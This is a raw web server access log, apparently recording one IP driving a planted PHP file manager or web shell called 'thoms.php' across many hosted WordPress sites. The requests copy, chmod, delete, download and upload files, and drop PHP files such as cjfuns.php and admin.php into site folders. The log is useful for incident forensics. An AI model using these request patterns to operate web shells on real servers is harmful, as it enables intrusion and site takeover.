45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=beauty-dental.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=besth2o.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22668 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bestzyx.com.tw HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bodbooks.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bogroup.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=booking-wise2.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=broadweb.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bestjudy.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22670 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=upgrade HTTP/1.1" 200 11384 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11418 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22669 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=betcity.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=cgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=ba-guo.com.tw HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=wp-content HTTP/1.1" 200 11433 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11396 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22667 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 19864 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p= HTTP/1.1" 200 12415 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings&view=cjfuns.php HTTP/1.1" 200 16588 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fsite-settings&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 19989 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?chmod=cjfuns.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /bestjudy.com.tw/site-settings/cjfuns.php HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /bestjudy.com.tw/site-settings/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings&view=index.php HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fsite-settings&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings%2Findex.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings%2Findex.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /bestjudy.com.tw/site-settings/admin.php HTTP/1.1" 200 985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:34 -0400] "GET /thoms.php?chmod=profile.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?dl=cjfuns.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13114 "http://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings%2Fprofile.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings%2Fprofile.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings%2Fadmin.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings%2Fadmin.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?del=cjfuns.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13095 "http://163.245.207.76:443/thoms.php?del=cjfuns.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13112 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings%2Fadmin.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?chmod=index.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings&view=license.txt HTTP/1.1" 200 11920 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fsite-settings&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?chmod=license.txt&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings&upload= HTTP/1.1" 200 12178 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fsite-settings&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings%2Fcjfuns.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings%2Fcjfuns.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?del=index.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13096 "http://163.245.207.76:443/thoms.php?del=index.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13094 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings%2Fcjfuns.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?dl=index.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13096 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings&view=profile.php HTTP/1.1" 200 11841 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fsite-settings&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings&view=admin.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fsite-settings&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings%2Flicense.txt&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings%2Flicense.txt&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /bestjudy.com.tw/site-settings HTTP/1.1" 301 795 "http://163.245.207.76:443/bestjudy.com.tw/site-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13101 "https://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fsite-settings&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /bestjudy.com.tw/site-settings/ HTTP/1.1" 200 6289 "https://163.245.207.76:443/bestjudy.com.tw/site-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /bestjudy.com.tw/site-settings/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?dl=admin.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13106 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /bestjudy.com.tw/site-settings/index.php HTTP/1.1" 200 6451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?del=license.txt&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13431 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?chmod=admin.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?del=admin.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13426 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13426 "https://163.245.207.76:443/thoms.php?chmod=admin.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?dl=license.txt&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13408 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?dl=profile.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13419 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
